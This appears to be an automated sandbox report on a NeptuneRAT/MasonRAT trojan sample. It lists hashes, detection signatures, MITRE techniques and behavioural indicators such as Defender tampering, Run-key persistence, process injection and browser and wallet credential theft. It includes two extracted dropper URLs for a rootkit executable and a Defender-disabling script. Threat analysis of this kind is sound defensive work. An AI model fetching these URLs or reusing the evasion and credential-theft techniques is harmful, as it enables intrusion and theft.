neptunerat | b15c017192cc0f82c71b41abde6bf9a86535b02ee0d36c03228c12cb2e6dfb4a

Analysis

user interaction
yes
max time kernel
149s
max time network
152s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260911-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260911-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
01/11/2026, 15:01

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
2SKP.exe
Size 7.3MB
Sample261101-sd9teswsdw
SHA256 b15c017192cc0f82c71b41abde6bf9a86535b02ee0d36c03228c12cb2e6dfb4a
MD5 6432beed46b204d70c9824f9b7b8739f
SHA1 b8c451fd6b706cf435a2b6d1c15b44a11e973566
SHA512 620dd8a2997141e4cab4e7388cf4adba64ef09c6be3dee4663a6178d79eaca58d00be46c8672195e1db35c4f5ad2843512012ee6f1470d41e2c339bfc863da67
SSDEEP 196608:2BgJ9U3s+aMRp/ga35a4NH1EYjHTXMCQk26plCG2j:2w9WHaw/rdNHW+TXMCVlCx
TLSH
T10C7633F01B28C241C7DE0D3FC45DCD5D40B8D94D538AAD50E126A37E55FA60C8EABEAA
MD5 SHA1 SHA512 SSDEEP TLSH

Score

10^/10

collection credential_access defense_evasion discovery execution neptunerat persistence privilege_escalation spyware stealer trojan upx

Malware Config

Extracted

Language

Deobfuscated

Source

URLs

exe.dropper
https://github.com/charlie-60/R/raw/refs/heads/main/MasonRootkit.exe
exe.dropper
https://raw.githubusercontent.com/ninhpn1337/Disable-Windows-Defender/main/source.bat

Signatures

Family: NeptuneRAT, MasonRAT
NeptuneRAT aka MasonRAT is a trojan written in C#.
trojan neptunerat

Deletes Windows Defender Definitions 2 TTPs 1 IoCs

Uses mpcmdrun utility to delete all AV definitions.

defense_evasion

Impair Defenses

T1562

Command and Scripting Interpreter

T1059

pid	Process
2472	MpCmdRun.exe

Detects NeptuneRAT stealer 4 IoCs

resource	yara_rule
behavioral2/files/0x000f00000001c62c-78.dat	family_neptunerat
behavioral2/memory/900-84-0x0000000000060000-0x0000000000290000-memory.dmp	family_neptunerat
behavioral2/files/0x001200000001c62d-113.dat	family_neptunerat
behavioral2/memory/5072-119-0x00000000008C0000-0x0000000000AFE000-memory.dmp	family_neptunerat

Suspicious use of NtCreateUserProcessOtherParentProcess 1 TTPs 1 IoCs

defense_evasion privilege_escalation

Parent PID Spoofing

T1134.004

description	pid	Process	procid_target
PID 3132 created 744	3132	powershell.EXE	5

Badlisted process makes network request 2 IoCs

Network request originating from process or tool commonly abused by malware.

flow	pid	Process
2	2584	powershell.exe
5	6040	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 11 IoCs

Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

execution

PowerShell

T1059.001

pid	Process
1000	powershell.exe
1152	powershell.exe
5792	powershell.exe
1220	powershell.exe
1648	powershell.exe
3132	powershell.EXE
1392	powershell.exe
5996	powershell.exe
2128	powershell.exe
2584	powershell.exe
6040	powershell.exe

Disables one or more Microsoft Defender components 1 TTPs 1 IoCs

Uses the Powershell Set-MpPreference cmdlet to disable one or more Microsoft Defender components.

defense_evasion

Disable or Modify Tools

T1562.001

pid	Process
1392	powershell.exe

Clipboard Data 1 TTPs 2 IoCs

Adversaries may collect data stored in the clipboard from users copying information within or between applications.

collection

Clipboard Data

T1115

pid	Process
4868	cmd.exe
1720	powershell.exe

Executes dropped EXE 11 IoCs

pid	Process
1436	sv.exe
4516	sv.exe
900	svv.exe
1052	svv.exe
5072	svvv.exe
5236	svvv.exe
3276	svvvv.exe
3260	svvvv.exe
1800	svvvv.exe
3576	svvvv.exe
1520	rar.exe

Loads dropped DLL 31 IoCs

pid	Process
3260	svvvv.exe
3260	svvvv.exe
3576	svvvv.exe
3576	svvvv.exe
3576	svvvv.exe
3576	svvvv.exe
3576	svvvv.exe
3576	svvvv.exe
3576	svvvv.exe
3576	svvvv.exe
3576	svvvv.exe
3576	svvvv.exe
3576	svvvv.exe
3576	svvvv.exe
3576	svvvv.exe
3576	svvvv.exe
3576	svvvv.exe
3576	svvvv.exe
3260	svvvv.exe
3260	svvvv.exe
3260	svvvv.exe
3260	svvvv.exe
3260	svvvv.exe
3260	svvvv.exe
3260	svvvv.exe
3260	svvvv.exe
3260	svvvv.exe
3260	svvvv.exe
3260	svvvv.exe
3260	svvvv.exe
3260	svvvv.exe

Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Credentials from Web Browsers
T1555.003
Unsecured Credentials: Credentials In Files 1 TTPs
Steal credentials from unsecured files.
credential_access stealer

Credentials In Files
T1552.001
Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
spyware

Data from Local System
T1005

Credentials In Files
T1552.001

Adds Run key to start application 2 TTPs 4 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-650287814-2715975232-1279715623-1000\Software\Microsoft\Windows\CurrentVersion\Run\svvv = "C:\\Users\\Admin\\AppData\\Local\\Temp\\svvv.exe"	2SKP.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-650287814-2715975232-1279715623-1000\Software\Microsoft\Windows\CurrentVersion\Run\svvvv = "C:\\Users\\Admin\\AppData\\Local\\Temp\\svvvv.exe"	2SKP.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-650287814-2715975232-1279715623-1000\Software\Microsoft\Windows\CurrentVersion\Run\sv = "C:\\Users\\Admin\\AppData\\Local\\Temp\\sv.exe"	2SKP.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-650287814-2715975232-1279715623-1000\Software\Microsoft\Windows\CurrentVersion\Run\svv = "C:\\Users\\Admin\\AppData\\Local\\Temp\\svv.exe"	2SKP.exe

Contacts third-party web service commonly abused for C2 1 TTPs 5 IoCs

Legitimate web (hosting) services can be abused by malware authors to host malware or C2s.

Web Service

T1102

flow	ioc
1	pastebin.com
1	raw.githubusercontent.com
3	pastebin.com
4	raw.githubusercontent.com
6	raw.githubusercontent.com

Looks up external IP address via web service 1 TTPs 1 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

discovery

Internet Connection Discovery

T1016.001

flow	ioc
1	ip-api.com

Obfuscated Files or Information: Command Obfuscation 1 TTPs
Adversaries may obfuscate content during command execution to impede detection.
defense_evasion

Command Obfuscation
T1027.010

Discovers running processes 1 TTPs 3 IoCs

Running process information can be used to identify security tools or plan follow-on actions.

discovery

Process Discovery

T1057

pid	Process
2424	tasklist.exe
2644	tasklist.exe
3784	tasklist.exe

Drops file in System32 directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive	powershell.EXE

Suspicious use of SetThreadContext 1 IoCs

description	pid	Process	procid_target
PID 3132 set thread context of 4576	3132	powershell.EXE	113

UPX packed file 64 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral2/files/0x000c00000001c641-184.dat	upx
behavioral2/memory/3260-189-0x00007FF9E5EC0000-0x00007FF9E632E000-memory.dmp	upx
behavioral2/memory/3576-215-0x00007FF9E5A50000-0x00007FF9E5EBE000-memory.dmp	upx
behavioral2/memory/3576-221-0x00007FF9F4370000-0x00007FF9F4394000-memory.dmp	upx
behavioral2/files/0x000c00000001c652-239.dat	upx
behavioral2/memory/3576-243-0x00007FF9F42C0000-0x00007FF9F42ED000-memory.dmp	upx
behavioral2/files/0x000c00000001c64e-242.dat	upx
behavioral2/memory/3576-241-0x00007FF9F4350000-0x00007FF9F4369000-memory.dmp	upx
behavioral2/memory/3576-251-0x00007FF9E58D0000-0x00007FF9E5A41000-memory.dmp	upx
behavioral2/memory/3576-258-0x00007FF9F1E00000-0x00007FF9F1E2E000-memory.dmp	upx
behavioral2/memory/3576-264-0x00007FF9EFF60000-0x00007FF9F0018000-memory.dmp	upx
behavioral2/memory/3576-268-0x00007FF9FC060000-0x00007FF9FC06D000-memory.dmp	upx
behavioral2/memory/3576-270-0x00007FF9E5430000-0x00007FF9E5548000-memory.dmp	upx
behavioral2/files/0x000c00000001c65f-269.dat	upx
behavioral2/memory/3576-297-0x00007FF9F31B0000-0x00007FF9F31CF000-memory.dmp	upx
behavioral2/files/0x000c00000001c633-299.dat	upx
behavioral2/memory/3576-301-0x00007FF9E58D0000-0x00007FF9E5A41000-memory.dmp	upx
behavioral2/memory/3260-304-0x00007FF9FAF10000-0x00007FF9FAF1F000-memory.dmp	upx
behavioral2/memory/3576-303-0x00007FF9F1FF0000-0x00007FF9F2009000-memory.dmp	upx
behavioral2/memory/3260-302-0x00007FF9EBF00000-0x00007FF9EBF24000-memory.dmp	upx
behavioral2/files/0x000c00000001c64f-267.dat	upx
behavioral2/memory/3576-266-0x00007FF9F1C20000-0x00007FF9F1C34000-memory.dmp	upx
behavioral2/files/0x000c00000001c64c-265.dat	upx
behavioral2/memory/3576-263-0x00007FF9F4370000-0x00007FF9F4394000-memory.dmp	upx
behavioral2/files/0x000c00000001c658-262.dat	upx
behavioral2/memory/3576-261-0x00007FF9E5550000-0x00007FF9E58C5000-memory.dmp	upx
behavioral2/memory/3576-260-0x00007FF9E5A50000-0x00007FF9E5EBE000-memory.dmp	upx
behavioral2/files/0x000c00000001c656-259.dat	upx
behavioral2/memory/3260-257-0x00007FF9E5EC0000-0x00007FF9E632E000-memory.dmp	upx
behavioral2/memory/3576-255-0x00007FF9FC2F0000-0x00007FF9FC2FD000-memory.dmp	upx
behavioral2/files/0x000c00000001c65c-254.dat	upx
behavioral2/memory/3576-253-0x00007FF9F1FF0000-0x00007FF9F2009000-memory.dmp	upx
behavioral2/files/0x000c00000001c650-252.dat	upx
behavioral2/files/0x000c00000001c65d-250.dat	upx
behavioral2/memory/3576-249-0x00007FF9F31B0000-0x00007FF9F31CF000-memory.dmp	upx
behavioral2/files/0x000c00000001c651-248.dat	upx
behavioral2/files/0x000c00000001c649-240.dat	upx
behavioral2/files/0x000c00000001c64b-233.dat	upx
behavioral2/memory/3576-223-0x00007FF9FD0E0000-0x00007FF9FD0EF000-memory.dmp	upx
behavioral2/files/0x000c00000001c657-222.dat	upx
behavioral2/memory/3260-355-0x00007FFA01D00000-0x00007FFA01D19000-memory.dmp	upx
behavioral2/memory/3576-356-0x00007FF9F1E00000-0x00007FF9F1E2E000-memory.dmp	upx
behavioral2/memory/3260-369-0x00007FFA036F0000-0x00007FFA0371D000-memory.dmp	upx
behavioral2/memory/3576-368-0x00007FF9E5550000-0x00007FF9E58C5000-memory.dmp	upx
behavioral2/memory/3260-385-0x00007FFA036B0000-0x00007FFA036CF000-memory.dmp	upx
behavioral2/memory/3576-384-0x00007FF9EFF60000-0x00007FF9F0018000-memory.dmp	upx
behavioral2/memory/3260-386-0x00007FF9E3280000-0x00007FF9E33F1000-memory.dmp	upx
behavioral2/memory/3260-389-0x00007FFA03690000-0x00007FFA036A9000-memory.dmp	upx
behavioral2/memory/3260-390-0x00007FFA03680000-0x00007FFA0368D000-memory.dmp	upx
behavioral2/memory/3260-397-0x00007FFA03650000-0x00007FFA0367E000-memory.dmp	upx
behavioral2/memory/3260-399-0x00007FF9E2F00000-0x00007FF9E3275000-memory.dmp	upx
behavioral2/memory/3260-398-0x00007FF9EBF00000-0x00007FF9EBF24000-memory.dmp	upx
behavioral2/memory/3260-400-0x00007FF9E3510000-0x00007FF9E35C8000-memory.dmp	upx
behavioral2/memory/3260-401-0x00007FFA03630000-0x00007FFA03644000-memory.dmp	upx
behavioral2/memory/3260-402-0x00007FFA03620000-0x00007FFA0362D000-memory.dmp	upx
behavioral2/memory/3260-404-0x00007FF9EBF00000-0x00007FF9EBF24000-memory.dmp	upx
behavioral2/memory/3260-409-0x00007FF9E3280000-0x00007FF9E33F1000-memory.dmp	upx
behavioral2/memory/3260-411-0x00007FFA03680000-0x00007FFA0368D000-memory.dmp	upx
behavioral2/memory/3260-413-0x00007FF9E2F00000-0x00007FF9E3275000-memory.dmp	upx
behavioral2/memory/3260-416-0x00007FFA03620000-0x00007FFA0362D000-memory.dmp	upx
behavioral2/memory/3260-415-0x00007FFA03630000-0x00007FFA03644000-memory.dmp	upx
behavioral2/memory/3260-414-0x00007FF9E3510000-0x00007FF9E35C8000-memory.dmp	upx
behavioral2/memory/3260-412-0x00007FFA03650000-0x00007FFA0367E000-memory.dmp	upx
behavioral2/memory/3260-403-0x00007FF9E5EC0000-0x00007FF9E632E000-memory.dmp	upx

Drops file in Windows directory 2 IoCs

description	ioc	Process
File created	C:\Windows\SystemTemp\__PSScriptPolicyTest_0e5iavmx.fny.ps1	powershell.EXE
File created	C:\Windows\SystemTemp\__PSScriptPolicyTest_fvdsphfb.5gl.psm1	powershell.EXE

Enumerates video capture drivers 2 TTPs 2 IoCs

Queries the legacy Video for Windows capture drivers. This is commonly abused by RATs to check for available webcams on the system before reporting to their C2.

discovery defense_evasion

Peripheral Device Discovery

T1120

Video Capture

T1125

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Drivers32\msvideo9	svv.exe
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Drivers32\msvideo9	svvvv.exe

Queries system WMI classes for hardware identifiers 2 TTPs 1 IoCs

Uses WMI to read hardware serial numbers or the system UUID, commonly used to fingerprint the victim machine.

discovery

System Information Discovery

T1082

Windows Management Instrumentation

T1047

pid	Process
4588	WMIC.exe

Browser Information Discovery 1 TTPs
Enumerate browser information.
discovery

Browser Information Discovery
T1217
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Event Triggered Execution: Netsh Helper DLL 1 TTPs 3 IoCs

Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system.

persistence privilege_escalation

Netsh Helper DLL

T1546.007

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe

Executes a command shell one-liner 1 TTPs 24 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
1252	cmd.exe
1896	cmd.exe
5332	cmd.exe
5608	cmd.exe
4520	cmd.exe
5024	cmd.exe
4544	cmd.exe
4948	cmd.exe
6072	cmd.exe
5848	cmd.exe
3412	cmd.exe
2740	cmd.exe
2604	cmd.exe
208	cmd.exe
2028	cmd.exe
5236	cmd.exe
4624	cmd.exe
2832	cmd.exe
3312	cmd.exe
1200	cmd.exe
5276	cmd.exe
3580	cmd.exe
4368	cmd.exe
1492	cmd.exe

Reads the TCP/IP host and domain name from the registry 1 TTPs 16 IoCs

The configured hostname and DNS domain identify the machine and are commonly collected to profile a host before it reports in.

discovery

System Network Configuration Discovery

T1016

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Domain	WMIC.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Domain	svvv.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Domain	svvvv.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Domain	WMIC.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Hostname	WMIC.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Hostname	svv.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Domain	svv.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Hostname	svvv.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Hostname	WMIC.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Hostname	WMIC.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Hostname	svvvv.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Hostname	WMIC.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Domain	WMIC.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Hostname	WMIC.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Domain	WMIC.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Domain	WMIC.exe

System Location Discovery: System Language Discovery 1 TTPs 2 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	sv.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	sv.exe

System Network Configuration Discovery: Wi-Fi Discovery 1 TTPs 2 IoCs

Adversaries may search for information about Wi-Fi networks, such as network names and passwords, on compromised systems.

discovery

Wi-Fi Discovery

T1016.002

pid	Process
4520	cmd.exe
5440	netsh.exe

Detects videocard installed 1 TTPs 1 IoCs

Uses WMIC.exe to determine videocard installed.

System Information Discovery

T1082

pid	Process
3440	WMIC.exe

Gathers system information 1 TTPs 1 IoCs

Runs systeminfo.exe.

System Information Discovery

T1082

pid	Process
4524	systeminfo.exe

Modifies data under HKEY_USERS 41 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\Certificates	powershell.EXE

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
1000	powershell.exe
1000	powershell.exe
1152	powershell.exe
1152	powershell.exe
1152	powershell.exe
3132	powershell.EXE
3132	powershell.EXE
3132	powershell.EXE
900	svv.exe
900	svv.exe
900	svv.exe
2584	powershell.exe
2584	powershell.exe
5792	powershell.exe
5792	powershell.exe
5792	powershell.exe
2584	powershell.exe
1052	svv.exe
1052	svv.exe
1052	svv.exe
5072	svvv.exe
5072	svvv.exe
5072	svvv.exe
1220	powershell.exe
1220	powershell.exe
6040	powershell.exe
6040	powershell.exe
5236	svvv.exe
5236	svvv.exe
5236	svvv.exe
1220	powershell.exe
6040	powershell.exe
3132	powershell.EXE
1392	powershell.exe
1392	powershell.exe
1648	powershell.exe
1648	powershell.exe
1392	powershell.exe
1648	powershell.exe
3384	WMIC.exe
3384	WMIC.exe
3384	WMIC.exe
3384	WMIC.exe
1720	powershell.exe
1720	powershell.exe
296	powershell.exe
296	powershell.exe
296	powershell.exe
1720	powershell.exe
5996	powershell.exe
5996	powershell.exe
5996	powershell.exe
1436	powershell.exe
1436	powershell.exe
1436	powershell.exe
5440	WMIC.exe
5440	WMIC.exe
5440	WMIC.exe
5440	WMIC.exe
2248	WMIC.exe
2248	WMIC.exe
2248	WMIC.exe
2248	WMIC.exe
4588	WMIC.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	1000	powershell.exe
Token: SeIncreaseQuotaPrivilege	1000	powershell.exe
Token: SeSecurityPrivilege	1000	powershell.exe
Token: SeTakeOwnershipPrivilege	1000	powershell.exe
Token: SeLoadDriverPrivilege	1000	powershell.exe
Token: SeSystemProfilePrivilege	1000	powershell.exe
Token: SeSystemtimePrivilege	1000	powershell.exe
Token: SeProfSingleProcessPrivilege	1000	powershell.exe
Token: SeIncBasePriorityPrivilege	1000	powershell.exe
Token: SeCreatePagefilePrivilege	1000	powershell.exe
Token: SeBackupPrivilege	1000	powershell.exe
Token: SeRestorePrivilege	1000	powershell.exe
Token: SeShutdownPrivilege	1000	powershell.exe
Token: SeDebugPrivilege	1000	powershell.exe
Token: SeSystemEnvironmentPrivilege	1000	powershell.exe
Token: SeRemoteShutdownPrivilege	1000	powershell.exe
Token: SeUndockPrivilege	1000	powershell.exe
Token: SeManageVolumePrivilege	1000	powershell.exe
Token: 33	1000	powershell.exe
Token: 34	1000	powershell.exe
Token: 35	1000	powershell.exe
Token: 36	1000	powershell.exe
Token: SeDebugPrivilege	1152	powershell.exe
Token: SeDebugPrivilege	3132	powershell.EXE
Token: SeIncreaseQuotaPrivilege	1152	powershell.exe
Token: SeSecurityPrivilege	1152	powershell.exe
Token: SeTakeOwnershipPrivilege	1152	powershell.exe
Token: SeLoadDriverPrivilege	1152	powershell.exe
Token: SeSystemProfilePrivilege	1152	powershell.exe
Token: SeSystemtimePrivilege	1152	powershell.exe
Token: SeProfSingleProcessPrivilege	1152	powershell.exe
Token: SeIncBasePriorityPrivilege	1152	powershell.exe
Token: SeCreatePagefilePrivilege	1152	powershell.exe
Token: SeBackupPrivilege	1152	powershell.exe
Token: SeRestorePrivilege	1152	powershell.exe
Token: SeShutdownPrivilege	1152	powershell.exe
Token: SeDebugPrivilege	1152	powershell.exe
Token: SeSystemEnvironmentPrivilege	1152	powershell.exe
Token: SeRemoteShutdownPrivilege	1152	powershell.exe
Token: SeUndockPrivilege	1152	powershell.exe
Token: SeManageVolumePrivilege	1152	powershell.exe
Token: 33	1152	powershell.exe
Token: 34	1152	powershell.exe
Token: 35	1152	powershell.exe
Token: 36	1152	powershell.exe
Token: SeDebugPrivilege	900	svv.exe
Token: SeDebugPrivilege	2584	powershell.exe
Token: SeDebugPrivilege	5792	powershell.exe
Token: SeDebugPrivilege	1052	svv.exe
Token: SeIncreaseQuotaPrivilege	5792	powershell.exe
Token: SeSecurityPrivilege	5792	powershell.exe
Token: SeTakeOwnershipPrivilege	5792	powershell.exe
Token: SeLoadDriverPrivilege	5792	powershell.exe
Token: SeSystemProfilePrivilege	5792	powershell.exe
Token: SeSystemtimePrivilege	5792	powershell.exe
Token: SeProfSingleProcessPrivilege	5792	powershell.exe
Token: SeIncBasePriorityPrivilege	5792	powershell.exe
Token: SeCreatePagefilePrivilege	5792	powershell.exe
Token: SeBackupPrivilege	5792	powershell.exe
Token: SeRestorePrivilege	5792	powershell.exe
Token: SeShutdownPrivilege	5792	powershell.exe
Token: SeDebugPrivilege	5792	powershell.exe
Token: SeSystemEnvironmentPrivilege	5792	powershell.exe
Token: SeRemoteShutdownPrivilege	5792	powershell.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 4112 wrote to memory of 1000	4112	2SKP.exe	89
PID 4112 wrote to memory of 1436	4112	2SKP.exe	181
PID 4112 wrote to memory of 1152	4112	2SKP.exe	94
PID 4112 wrote to memory of 900	4112	2SKP.exe	99
PID 4112 wrote to memory of 5792	4112	2SKP.exe	100
PID 900 wrote to memory of 2584	900	svv.exe	102
PID 4112 wrote to memory of 5072	4112	2SKP.exe	107
PID 4112 wrote to memory of 1220	4112	2SKP.exe	108
PID 5072 wrote to memory of 6040	5072	svvv.exe	110
PID 3132 wrote to memory of 4576	3132	powershell.EXE	113
PID 3132 wrote to memory of 4576	3132	powershell.EXE	113
PID 3132 wrote to memory of 4576	3132	powershell.EXE	113
PID 3132 wrote to memory of 4576	3132	powershell.EXE	113
PID 3132 wrote to memory of 4576	3132	powershell.EXE	113
PID 4112 wrote to memory of 3276	4112	2SKP.exe	114
PID 3276 wrote to memory of 3260	3276	svvvv.exe	116
PID 1800 wrote to memory of 3576	1800	svvvv.exe	118
PID 3576 wrote to memory of 4544	3576	svvvv.exe	120
PID 3576 wrote to memory of 1492	3576	svvvv.exe	121
PID 1492 wrote to memory of 1392	1492	cmd.exe	124
PID 4544 wrote to memory of 1648	4544	cmd.exe	125
PID 3576 wrote to memory of 3312	3576	svvvv.exe	126
PID 3576 wrote to memory of 5608	3576	svvvv.exe	127
PID 3576 wrote to memory of 5024	3576	svvvv.exe	130
PID 3576 wrote to memory of 4868	3576	svvvv.exe	131
PID 3576 wrote to memory of 4368	3576	svvvv.exe	134
PID 3576 wrote to memory of 2604	3576	svvvv.exe	136
PID 3312 wrote to memory of 3784	3312	cmd.exe	138
PID 5608 wrote to memory of 2644	5608	cmd.exe	139
PID 3576 wrote to memory of 4520	3576	svvvv.exe	140
PID 3576 wrote to memory of 2740	3576	svvvv.exe	141
PID 5024 wrote to memory of 3384	5024	cmd.exe	144
PID 3576 wrote to memory of 2016	3576	svvvv.exe	145
PID 4868 wrote to memory of 1720	4868	cmd.exe	147
PID 4520 wrote to memory of 5440	4520	cmd.exe	187
PID 4368 wrote to memory of 2424	4368	cmd.exe	149
PID 2604 wrote to memory of 4128	2604	cmd.exe	150
PID 2740 wrote to memory of 4524	2740	cmd.exe	151
